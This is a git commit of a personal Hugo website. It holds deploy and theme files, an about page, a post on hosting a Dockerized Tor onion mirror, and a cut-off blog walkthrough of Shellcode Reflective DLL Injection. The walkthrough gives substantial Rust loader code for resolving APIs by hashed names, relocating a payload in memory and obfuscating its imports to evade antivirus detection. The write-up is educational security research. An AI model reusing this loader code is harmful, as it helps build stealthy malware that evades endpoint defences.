chore: commit history pruned

This commit is contained in:
17ms 2024-08-04 17:39:40 +03:00
commit e80b25059a
45 changed files with 2145 additions and 0 deletions

48
.github/workflows/deploy.yaml vendored Normal file
View File

@ -0,0 +1,48 @@
name: Deploy
on:
push:
branches:
- master
workflow_dispatch:
branches:
- master
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Checkout repository & submodules
uses: actions/checkout@v4
with:
submodules: recursive
- name: Sleep a moment to avoid race conditions
run: sleep 3
- name: Configure ssh-agent
uses: webfactory/ssh-agent@v0.9.0
with:
ssh-private-key: ${{ secrets.SSH_PRIVATE_KEY }}
- name: Scan host key
run: mkdir -p ~/.ssh && ssh-keyscan -t rsa $HOST >> ~/.ssh/known_hosts
env:
HOST: ${{ secrets.HOST }}
- name: Setup Hugo
uses: peaceiris/actions-hugo@v2
with:
hugo-version: "latest"
extended: true
- name: Build
run: hugo --minify --gc
- name: Deploy
run:
rsync -avx --delete public/
$USERNAME@$HOST:/home/$USERNAME/hosting/swag/www
env:
HOST: ${{ secrets.HOST }}
USERNAME: ${{ secrets.USERNAME }}

7
.gitignore vendored Normal file
View File

@ -0,0 +1,7 @@
.DS_Store
node_modules/
public/
.hugo_build.lock
/resources/_gen

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "themes/hugo-bearcub"]
path = themes/hugo-bearcub
url = https://github.com/clente/hugo-bearcub

22
.prettierrc Normal file
View File

@ -0,0 +1,22 @@
{
"plugins": ["prettier-plugin-go-template"],
"useTabs": false,
"tabWidth": 2,
"bracketSpacing": true,
"semi": false,
"proseWrap": "always",
"overrides": [
{
"files": ["*.html"],
"options": {
"parser": "go-template"
}
},
{
"files": ["*.md"],
"options": {
"proseWrap": "never"
}
}
]
}

21
LICENSE Normal file
View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 17ms
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

3
README.md Normal file
View File

@ -0,0 +1,3 @@
Contents of my personal website [golfed.xyz](https://golfed.xyz). Also mirror to Tor [here](http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion/).
Built with [Hugo](https://gohugo.io) and [Bear Cub](https://github.com/clente/hugo-bearcub).

8
archetypes/default.md Normal file
View File

@ -0,0 +1,8 @@
+++
title = '{{ replace .File.ContentBaseName "-" " " | title }}'
date = {{ .Date }}
author = ''
draft = false
tags = []
categories = []
+++

235
assets/style.css Normal file
View File

@ -0,0 +1,235 @@
body {
font-family: Verdana, sans-serif;
margin: auto;
padding: 20px;
max-width: 720px;
text-align: left;
background-color: #1d1f27;
word-wrap: break-word;
overflow-wrap: break-word;
line-height: 1.5;
color: #c9d1d9;
}
h1,
h2,
h3,
h4,
h5,
h6,
strong,
b {
color: #eee;
}
a {
color: #8cc2dd;
}
.title {
text-decoration: none;
border: 0;
}
.title h1 {
font-size: 24px;
margin: 19.92px 0 19.92px 0;
}
.title span {
font-weight: 400;
}
nav a {
margin-right: 10px;
}
textarea {
background-color: #252525;
color: #ddd;
width: 100%;
font-size: 16px;
}
input {
background-color: #252525;
color: #ddd;
font-size: 16px;
}
content {
line-height: 1.6;
}
table {
width: 100%;
}
table,
th,
td {
border: 1px solid;
border-collapse: collapse;
border-color: #c9d1d9;
padding: 5px;
}
img {
max-width: 100%;
}
code {
padding: 2px 5px;
color: #f8f8f2;
background-color: #282a36;
}
pre code {
display: block;
padding: 20px;
white-space: pre;
font-size: 14px;
overflow-x: auto;
}
blockquote {
border-left: 1px solid #999;
color: #ccc;
padding-left: 20px;
font-style: italic;
}
footer {
padding: 25px;
text-align: center;
}
.helptext {
color: #aaa;
font-size: small;
}
.errorlist {
color: #eba613;
font-size: small;
}
/* blog posts */
ul.blog-posts {
list-style-type: none;
padding: unset;
}
ul.blog-posts li {
display: flex;
margin-bottom: 10px;
}
ul.blog-posts li span {
flex: 0 0 130px;
}
ul.blog-posts li a:visited {
color: #8b6fcb;
}
a.blog-tags {
line-height: 2;
}
h3.blog-filter {
margin-bottom: 0;
}
.disabled {
color: currentColor;
cursor: not-allowed;
opacity: 0.7;
}
p.byline {
font-style: italic;
}
/* "Skip to main content" link */
.skip-link {
position: absolute;
top: 5;
transform: translateY(-600%);
transition: transform 0.5s;
background-color: #1d1f27;
padding: 6px;
}
.skip-link:focus {
transform: translateY(0%);
}
figure {
margin-inline-start: 0em;
margin-inline-end: 0em;
}
figcaption > p {
margin-block-start: 0px;
text-align: center;
font-style: italic;
color: #ccc;
}
/* -- Custom CSS -- */
:root {
--html-bg: #121212;
--body-bg: #131313;
--accent: #ef5350;
--visited: #f58280;
}
html {
background: var(--html-bg);
}
body {
background-color: var(--body-bg);
border-radius: 20px;
}
a {
color: var(--accent);
}
ul.blog-posts li a:visited {
color: var(--visited);
}
.header-container {
display: flex;
align-items: center;
justify-content: space-between;
width: 100%;
}
.title {
white-space: nowrap;
}
.social-container {
display: flex;
align-items: center;
justify-content: flex-end;
flex-wrap: wrap;
margin-left: 15px;
}
.social-icon {
aspect-ratio: 1;
width: 25px;
text-decoration: none;
transition: all 0.6s ease;
display: flex;
margin: 6px;
}
.social-icon:hover {
opacity: 0.7;
}

79
config.yaml Normal file
View File

@ -0,0 +1,79 @@
baseURL: "https://golfed.xyz"
copyright: "MIT"
defaultContentLanguage: "en"
enableRobotsTXT: true
enableEmoji: true
theme: "hugo-bearcub"
author:
name: "Shiherlis"
# https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src#unsafe_inline_styles
markup:
highlight:
lineNos: false
lineNumbersInTable: false
# https://web.dev/color-and-contrast-accessibility/
noClasses: false
# https://gohugo.io/getting-started/configuration-markup#unsafe
goldmark:
renderer:
unsafe: true
# https://gohugo.io/content-management/multilingual/
languages:
en:
title: "Golfed"
languageName: "en-US"
LanguageCode: "en-US"
contentDir: "content"
params:
madeWith:
"Made with [Hugo](https://gohugo.io/) & [Bear
Cub](https://github.com/clente/hugo-bearcub)"
params:
description: "Personal website and blog"
favicon: "images/favicon.ico"
# Images for link previews (ignored if `generateSocialCard: true`)
# https://gohugo.io/templates/internal#twitter-cards
# https://gohugo.io/templates/internal#open-graph
images: []
# https://gohugo.io/templates/internal#open-graph
title: "Golfed"
dateFormat: "2006-01-02"
hideUntranslated: false
# (EXPERIMENTAL) This theme is capable of dynamically generating social cards
# for posts that don't have `images` defined in their front matter; By setting
# `generateSocialCard` to false, you can prevent this behavior. For more
# information see layouts/partials/seo_tags.html
generateSocialCard: true
# Links attached to the page head
social:
email: "hello@golfed.xyz"
# Icons to be displayed in the page header ('display' defaults to capitalized version of 'name')
socialIcons:
- name: email
url: "mailto:hello@golfed.xyz"
# Uncomment once the instance issue is sorted out
# - name: matrix
# url: "https://matrix.to/#/@<name>:server"
- name: telegram
url: "https://t.me/shrlis"
- name: xmpp
url: "xmpp:shiherlis@xmpp.is"
display: XMPP
- name: github
url: "https://github.com/17ms"
- name: pgpkey
url: "/pgp.txt"
display: PGP
- name: monero
url: "/xmr.txt"

21
content/_index.md Normal file
View File

@ -0,0 +1,21 @@
+++
title = 'Home'
menu = 'main'
weight = 1
draft = false
tags = []
categories = []
+++
## About
I'm a university student working towards a BSc in Computer Science. I enjoy delving into topics such as software development, systems administration, cybersecurity, and the intricacies of online privacy. Recently, I've also developed an interest in DeFi ecosystems.
## Contact
- Email: [hello@golfed.xyz](mailto:hello@golfed.xyz)
- XMPP: [shiherlis@xmpp.is](xmpp:shiherlis@xmpp.is)
- Telegram: [@shrlis](https://t.me/shrlis)
- PGP: [`1530 F513 2A12 2857 8D2B 4168 995E FD5C 1B53 2B3E`](/pgp.txt)
I'm also planning to set up a Matrix instance later in 2024, which will be added to both the above and the [PGP-signed](/contact.txt) lists once it's online.

7
content/blog/_index.md Normal file
View File

@ -0,0 +1,7 @@
+++
title = 'Blog'
date = 2023-11-13T13:23:38+02:00
draft = false
menu = 'main'
weight = 2
+++

View File

@ -0,0 +1,151 @@
+++
title = 'Spinning up a Dockerized Onion Mirror'
date = 2024-04-07T20:21:17+03:00
author = ''
draft = false
tags = ['tor', 'docker', 'self-hosting', 'privacy']
categories = []
+++
I decided to spin up an [onion mirror of this website](http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion) just for the fun of it. Funnily enough hosting an onion service is actually easier than hosting a clearweb site.
When searching for information about Dockerizing onion services, I noticed that the guides found with quick web searches vary significantly in quality, especially from a security standpoint. This prompted me to compile my own notes and thoughts on the topic into this compact post.
## TL;DR
If you only want to use Tor as a rewriting proxy (i.e. client types in the v3 address, and the proxy serves the upstream clearweb site through Tor), [Onionspray](https://gitlab.torproject.org/tpo/onion-services/onionspray/) is a great choice.
For those who aren't concerned about fine-tuning or more in-depth details of the configuration, here's [a great repository to get started with](https://github.com/ha1fdan/hidden-service-docker) that I also used as the base for my setup. The compose configuration found in the repository manually installs the newest available version of Tor, which is much better than relying on the image's contributors to update it in a premade image.
If you want a vanity v3 address, you can use a tool like [mkp2240](https://github.com/cathugger/mkp224o).
## Setup
Here's the slightly modified `docker-compose.yml` I use:
```yaml
services:
tor:
image: alpine:latest
container_name: tor
command: sh -c "apk update && apk add --no-cache tor && chmod 700 /var/lib/tor/onion-service && (cat /var/lib/tor/onion-service/hostname || echo 'Hostname not available.') && tor -f /etc/tor/torrc"
volumes:
- ./tor:/etc/tor:rw
- ./onion-mirror:/var/lib/tor/onion-service:rw
- nginx-tor-socket:/var/run/onion-sockets:rw
depends_on:
- nginx
restart: unless-stopped
nginx:
image: nginx:latest
container_name: nginx-onion
command:
volumes:
- ./web/config/onion-default.conf:/etc/nginx/conf.d/default.conf:rw
- ./web/public:/usr/share/nginx/html:ro
- nginx-tor-socket:/var/run/onion-sockets:rw
healthcheck:
test: ["CMD", "curl", "-f", "--unix-socket", "/var/run/onion-sockets/site.sock", "||", "exit 1"]
interval: 10s
timeout: 5s
retries: 5
restart: unless-stopped
volumes:
nginx-tor-socket:
```
Combined with a minimal nginx configuration and `torrc`:
```text
server {
listen unix:/var/run/onion-sockets/site.sock;
server_name golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion;
access_log off;
server_tokens off;
add_header X-Content-Type-Options "nosniff";
add_header X-Frame-Options SAMEORIGIN;
proxy_hide_header X-Powered-By;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
}
```
```text
HiddenServiceDir /var/lib/tor/onion-service/
HiddenServicePort 80 unix:/var/run/onion-sockets/site.sock
```
## In-depth configuration
Despite my use case being quite casual, I still wanted to follow [the best practices of hosting an onion service](https://riseup.net/en/security/network-security/tor/onionservices-best-practices).
### Service isolation
As recommended in the Riseup guide, it's crucial to carefully isolate clearweb services from the onion ones to prevent any unwanted information leaks. For more critical services, it's definitely worth hosting them in a completely different location with only a minimal number of public-facing ports open. Personally, I solved this by spinning up an individual nginx container that essentially hosts a separate copy of this site.
### Sockets over TCP
Since Tor doesn't require binding to physical ports, there's no need to worry about conflicting ports. Instead, it's worth to consider using Unix sockets for local communication rather than TCP. Unix sockets can reduce the overhead of TCP/IP networking by allowing local inter-process communication to occur through the file system. They can also offer a bit more security by not accidentally exposing services through network ports (although this is already quite easily manageable with containers as long as you don't mix up the ports of different services).
```text
HiddenServicePort 80 unix:/var/run/onion-sockets/site.sock
```
```text
server {
listen unix:/var/run/onion-sockets/site.sock;
server_name golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion;
}
```
### Do you need TLS?
Most of the time, there's no need for a TLS certificate with an onion service. As [this section](https://community.torproject.org/onion-services/advanced/https/) well describes, you might lose more than you gain: many CAs don't support the .onion TLD, and third-party certificates might unintentionally leak .onion names. Fortunately, you can now get DV certificates (instead of EV certificates) for onion sites from the Greek non-profit HARICA. However, support from Let's Encrypt CA is still missing.
The few benefits of having a certificate include using the `https` URI scheme and ensuring the traffic from your web server to Tor is encrypted (which could be especially useful if the instances aren't running on the same machine).
### Onionscan
[Onionscan](https://onionscan.org/) is the Tor Project's contributors' recommendation for detecting possible misconfigurations or information leaks. The original project is practically abandoned, but here's [an up-to-date fork](https://github.com/415ALS/onionscanv3) with v3 address support.
### Onion-Location
To take advantage of Tor Browser's Onion-Location redirection, you should add the following response header to your clearweb site's configuration:
```text
add_header Onion-Location http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion$request_uri;
```
Or alternatively include an HTML `<meta>` attribute:
```html
<meta http-equiv="onion-location" content="http://golfed6fzytoktol4de4o4nerap3xuykhfm5makfzscib65df3khnpyd.onion" />
```
Notably, with proxying enabled through Cloudflare, I encountered difficulties in getting the response headers to pass through to the client, necessitating the use of the `<meta>` attribute instead.
### Something else?
If you notice any critical or less critical details missing, please inform me [via email or XMPP](/contact.txt). I purposely didn't delve into load balancing (with Onionbalance) or Vanguards as they're a bit too broad areas to cover for this post, and I'm not very familiar with them to begin with.
## Sources
I highly recommend checking out the sites I browsed while figuring this stuff out, especially [The Onion Services Ecosystem](https://tpo.pages.torproject.net/onion-services/ecosystem/):
- [Tor Project's Guide on Setting Up Onion Service](https://community.torproject.org/onion-services/setup/)
- [Tor Project's Tips on Operational Security](https://community.torproject.org/onion-services/advanced/opsec/)
- [Tor Project's Tips on HTTPS for Onion Services](https://community.torproject.org/onion-services/advanced/https/)
- [Riseup's Best Practices Guide](https://riseup.net/en/security/network-security/tor/onionservices-best-practices)
- [Introduction to Onionspray](https://tpo.pages.torproject.net/onion-services/ecosystem/apps/web/onionspray/)
- [Tor Project's Onionsite Checklist](https://tpo.pages.torproject.net/onion-services/ecosystem/apps/web/checklist/)
- ["Connect two NGINX's through UNIX sockets" by David Sierra](https://blog.davidsierra.dev/posts/connect-nginxs-through-sockets/)
- ["Create a complete Tor Onion Service with Docker and OpenSUSE in less than 15 minutes" by Jason S. Evans](https://www.youtube.com/watch?v=iUxiTk6w1sc)
- [Onionscan Documentation](https://onionscan.org/)

View File

@ -0,0 +1,678 @@
+++
title = 'Walkthrough of Shellcode Reflective DLL Injection (sRDI)'
date = 2023-12-09T20:42:26+02:00
author = ''
draft = false
tags = ['windows', 'exploitation']
categories = []
+++
In the ever-evolving landscape of malware, Shellcode Reflective DLL Injection (RDI) stands as a formidable technique despite its age, distinguished by its stealth and efficiency. Unlike traditional DLL injection methods, which often leave apparent traces for AV systems to detect, RDI operates on a more subtle level. Basically it challenges typical defensive solutions such as behavior monitoring, heuristics, or signature-based detection.
Implementing a reflective loader myself provided a great insight into PE files and Windows API, and it's definitely a good initial foothold into more advanced techniques.
## Steps
1. Execution is passed to the loader from a separate injector, that injects the shellcode containing both loader and payload into the target process's memory space (e.g. with `VirtualAlloc`).
2. The reflective loader parses the process's `kernel32.dll` to calculate the addresses of the functions required for relocation and execution.
3. The loader allocates a continuous region of memory to load its own image into.
4. The loader relocates itself into the allocated memory region with the help of its headers.
5. The loader resolves the imports and patches them into the relocated image's Import Address Table according to the previously gotten function addresses.
6. The loader applies appropriate protections on each relocated section.
7. The loader calls the relocated image's entry point `DllMain` with `DLL_PROCESS_ATTACH`.
## Implementation
The complete implementation can be found from [the Github repository](https://github.com/17ms/airborne). The following explanations focus on the loader itself as the supporting components (process injector, shellcode generator, and payload) are basically just pasted from existing implementations mentioned in the [references](#references).
The following helper functions are utilized to make the RVA calculations a bit easier to read:
```rust
fn rva_mut<T>(base_ptr: *mut u8, offset: usize) -> *mut T {
(base_ptr as usize + offset) as *mut T
}
fn rva<T>(base_ptr: *mut u8, offset: usize) -> *const T {
(base_ptr as usize + offset) as *const T
}
```
### Locating modules
The loading process begins by locating the modules and their exports needed to perform the subsequent stages of the injection. A prime target is `kernel32.dll`, a core module in Windows.
Each Windows thread possesses a Thread Environment Block (TEB), which, among other thread specific data, points to a Process Environment Block (PEB). The PEB contains a `PEB_LDR_DATA` structure, cataloging user-mode modules loaded in the process. Crucially, it also features a `InLoadOrderModuleList` field, that points to a doubly linked list enumerating these modules by their load order:
```rust
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct PEB_LDR_DATA {
pub Length: u32,
pub Initialized: BOOLEAN,
pub SsHandle: HANDLE,
pub InLoadOrderModuleList: LIST_ENTRY,
pub InMemoryOrderModuleList: LIST_ENTRY,
pub InInitializationOrderModuleList: LIST_ENTRY,
pub EntryInProgress: *mut c_void,
pub ShutdownInProgress: BOOLEAN,
pub ShutdownThreadId: HANDLE,
}
#[repr(C)]
#[allow(non_snake_case)]
pub union LDR_DATA_TABLE_ENTRY_u1 {
pub InInitializationOrderLinks: LIST_ENTRY,
pub InProgressLinks: LIST_ENTRY,
}
#[repr(C)]
#[allow(non_snake_case, non_camel_case_types)]
pub struct LDR_DATA_TABLE_ENTRY {
pub InLoadOrderLinks: LIST_ENTRY,
pub InMemoryOrderLinks: LIST_ENTRY,
pub u1: LDR_DATA_TABLE_ENTRY_u1,
pub DllBase: *mut c_void,
pub EntryPoint: PLDR_INIT_ROUTINE,
pub SizeOfImage: u32,
pub FullDllName: UNICODE_STRING,
pub BaseDllName: UNICODE_STRING,
}
```
By iterating through this list, we can locate the module we're looking for. This step is pivotal in the process, as it allows us to call necessary functions exported from `kernel32.dll` with indirect function calls.
To illustrate, let's examine a set of functions that locate the PEB and traverse the `InLoadOrderModuleList`. Notably we also hash the strings containing the names of the modules (and the exported functions in the next step) to make static analysis a bit more difficult:
```rust
#[link_section = ".text"]
unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
// first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY
// InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro
let peb_ptr = get_peb_ptr();
let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA;
let mut table_entry_ptr =
(*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
while !(*table_entry_ptr).DllBase.is_null() {
let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer;
let name_len = (*table_entry_ptr).BaseDllName.Length as usize;
let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
// calculate the module hash and compare it
if module_hash == airborne_common::calc_hash(name_slice_buf) {
return Some((*table_entry_ptr).DllBase as _);
}
table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
}
None
}
#[link_section = ".text"]
unsafe fn get_peb_ptr() -> *mut PEB {
// TEB located at offset 0x30 from the GS register on 64-bit
let teb: *mut TEB;
asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
(*teb).ProcessEnvironmentBlock as *mut PEB
}
```
### Locating exports
After locating the base address of `kernel32.dll`, our next step is to identify the addresses of the specific functions we need. This requires an understanding of the Windows Portable Executable (PE) file format.
A PE file is structured into various components, including the DOS Header, DOS Stub, NT Headers, and a Section Table, which houses the actual file contents in segments like `.text` and `.data`. Our focus is on the Export Directory located within the NT Headers, a section that lists exported functions and their addresses. We can access the Export Directory by utilizing the `IMAGE_DIRECTORY_ENTRY_EXPORT` offset within the `IMAGE_DATA_DIRECTORY`.
<a href="https://0xrick.github.io/win-internals/pe2/" target="_blank" style="text-decoration: none;">
<p align="center">
<img src="/images/understanding-srdi/pe-file-structure.png" alt="Image of the PE file structure" width="300"/>
</p>
</a>
Similar to how we navigated through modules, we now iterate through the Export Directory entries to locate our required functions. This way we're able to bypass the usual API call mechanisms that could trigger security alerts:
```rust
#[link_section = ".text"]
unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option<usize> {
// NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses
let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap();
let export_dir_ptr = (module_base_ptr as usize
+ (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
.VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32,
(*export_dir_ptr).NumberOfNames as _,
);
let funcs = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32,
(*export_dir_ptr).NumberOfFunctions as _,
);
let ords = from_raw_parts(
(module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16,
(*export_dir_ptr).NumberOfNames as _,
);
// compare hashes iteratively for each entry
for i in 0..(*export_dir_ptr).NumberOfNames {
let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8;
let name_len = get_cstr_len(name_ptr as _);
let name_slice = from_raw_parts(name_ptr as _, name_len);
if function_hash == airborne_common::calc_hash(name_slice) {
return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
}
}
None
}
#[link_section = ".text"]
unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> {
let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
return None;
}
let nt_headers_ptr =
(module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE {
return None;
}
Some(nt_headers_ptr)
}
```
### Allocating memory
Having successfully 'imported' the necessary functions (and storing their pointers into `far_procs` struct), we proceed to allocate memory for our payload shellcode within the target process. This is done using `VirtualAlloc`, with the allocated memory granted RW permissions.
The payloads NT Headers contain an `ImageBase` field, indicating the preferred loading address (in which case the imports wouldn't have to be resolved in the later steps). Initially, we can attempt to allocate memory at this address, but if unsuccessfull, we can pass `NULL` as the `lpAddress` parameter to allow `VirtualAlloc` to pick an appropriate location. In the end the specific memory address isn't critical, as the loader will handle any necessary relocations later in the execution process.
The allocation step itself is really simple and only requires the payload size:
```rust
#[link_section = ".text"]
#[no_mangle]
#[allow(clippy::missing_safety_doc)]
pub unsafe extern "system" fn loader(
payload_dll: *mut c_void,
function_hash: u32,
user_data: *mut c_void,
user_data_len: u32,
_shellcode_bin: *mut c_void,
flags: u32,
) {
// ...
let module_base_ptr = payload_dll as *mut u8;
if module_base_ptr.is_null() {
return;
}
let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
let module_nt_headers_ptr = (module_base_ptr as usize
+ (*module_dos_header_ptr).e_lfanew as usize)
as *mut IMAGE_NT_HEADERS64;
let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
let base_addr_ptr =
allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
// ...
}
#[link_section = ".text"]
unsafe fn allocate_rw_memory(
preferred_base_ptr: *mut c_void,
alloc_size: usize,
far_procs: &FarProcs,
) -> Option<*mut c_void> {
let mut base_addr_ptr = (far_procs.VirtualAlloc)(
preferred_base_ptr,
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
// fallback: attempt to allocate at any address if preferred address is unavailable
if base_addr_ptr.is_null() {
base_addr_ptr = (far_procs.VirtualAlloc)(
null_mut(),
alloc_size,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE,
);
}
if base_addr_ptr.is_null() {
return None;
}
Some(base_addr_ptr)
}
```
### Copying sections
After the allocation, we can proceed to copying the payload PE's sections and headers to the new memory section based on the `NumberOfSections` field of the payload's `IMAGE_FILE_HEADER`:
```rust
#[link_section = ".text"]
unsafe fn copy_pe(
new_base_ptr: *mut c_void,
old_base_ptr: *mut u8,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
) {
let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize
+ (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize)
as *mut IMAGE_SECTION_HEADER;
// PE sections one by one
for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections {
let header_i_ref = &*(section_header_ptr.add(i as usize));
let dst_ptr = new_base_ptr
.cast::<u8>()
.add(header_i_ref.VirtualAddress as usize);
let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8;
let raw_size = header_i_ref.SizeOfRawData as usize;
let src_data_slice = from_raw_parts(src_ptr, raw_size);
(0..raw_size).for_each(|x| {
let src = src_data_slice[x];
let dst = dst_ptr.add(x);
*dst = src;
});
}
// PE headers
for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders {
let dst = new_base_ptr as *mut u8;
let src = old_base_ptr as *const u8;
*dst.add(i as usize) = *src.add(i as usize);
}
}
```
### Processing image relocations
Most likely the payload won't be loaded into the preferred memory location, thus we need to address the image relocations.
The necessary relocation data resides in the payload's NT Headers, within the Data Directory, specifically at the `IMAGE_DIRECTORY_ENTRY_BASERELOC` index. This base relocation table comprises entries each with a `VirtualAddress` field. We apply the delta, which is the difference between the allocated memory location and the preferred memory location, to these addresses. Additionally, we must factor in the offset specified in each table item:
```rust
#[link_section = ".text"]
unsafe fn process_relocations(
base_addr_ptr: *mut c_void,
nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
mut relocation_ptr: *mut IMAGE_BASE_RELOCATION,
data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16],
) {
let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize;
// upper bound prevents accessing memory past the end of the relocation data
let relocation_end = relocation_ptr as usize
+ data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;
while (*relocation_ptr).VirtualAddress != 0
&& ((*relocation_ptr).VirtualAddress as usize) <= relocation_end
&& (*relocation_ptr).SizeOfBlock != 0
{
// relocation address, first entry, and number of entries in the whole block
let addr = rva::<isize>(
base_addr_ptr as _,
(*relocation_ptr).VirtualAddress as usize,
) as isize;
let item = rva::<u16>(relocation_ptr as _, size_of::<IMAGE_BASE_RELOCATION>());
let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>())
/ size_of::<u16>();
for i in 0..count {
// high bits -> type, low bits -> offset
let type_field = (item.add(i).read() >> 12) as u32;
let offset = item.add(i).read() & 0xFFF;
match type_field {
IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => {
*((addr + offset as isize) as *mut isize) += delta;
}
_ => {}
}
}
relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize);
}
}
```
### Resolving the imports
Now, to ensure the payload functions correctly, we must resolve its external dependencies by processing the import table.
In the DLL's Data Directory, we focus on the `IMAGE_DIRECTORY_ENTRY_IMPORT` index, where the import directory resides. This directory contains an array of `IMAGE_IMPORT_DESCRIPTOR` structures, each representing a DLL from which the module imports functions.
During this step we also utilize shuffling and sleep calls to obfuscate the execution flow. First we shuffle the import descriptors with [FisherYates in-place shuffle](https://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle):
```rust
let mut id_ptr = import_descriptor_ptr;
let mut import_count = 0;
while (*id_ptr).Name != 0 {
import_count += 1;
id_ptr = id_ptr.add(1);
}
let id_ptr = import_descriptor_ptr;
if import_count > 1 && flags.shuffle {
// Fisher-Yates shuffle
for i in 0..import_count - 1 {
let rn = match get_random(far_procs) {
Some(rn) => rn,
None => return 0,
};
let gap = import_count - i;
let j_u64 = i + (rn % gap);
let j = j_u64.min(import_count - 1);
id_ptr.offset(j as _).swap(id_ptr.offset(i as _));
}
}
```
Then, during the iteration, we call `BCryptGenRandom` with `BCRYPT_RNG_ALG_HANDLE` as `hAlgorithm` parameter to generate a random sleep duration for each iteration:
```rust
if flags.delay {
// skip delay if winapi call fails
let rn = get_random(far_procs).unwrap_or(0);
let delay = rn % MAX_IMPORT_DELAY_MS;
(far_procs.Sleep)(delay as _);
}
#[link_section = ".text"]
unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
let mut buffer = [0u8; 8];
let status = (far_procs.BCryptGenRandom)(
BCRYPT_RNG_ALG_HANDLE,
buffer.as_mut_ptr(),
buffer.len() as _,
0,
);
if status != STATUS_SUCCESS {
return None;
}
Some(u64::from_le_bytes(buffer))
}
```
These DLLs are loaded into the process's address space using `LoadLibraryA`:
```rust
let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut(
base_addr_ptr as _,
data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,
);
if import_descriptor_ptr.is_null() {
return;
}
while (*import_descriptor_ptr).Name != 0x0 {
let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
if module_name_ptr.is_null() {
return 0;
}
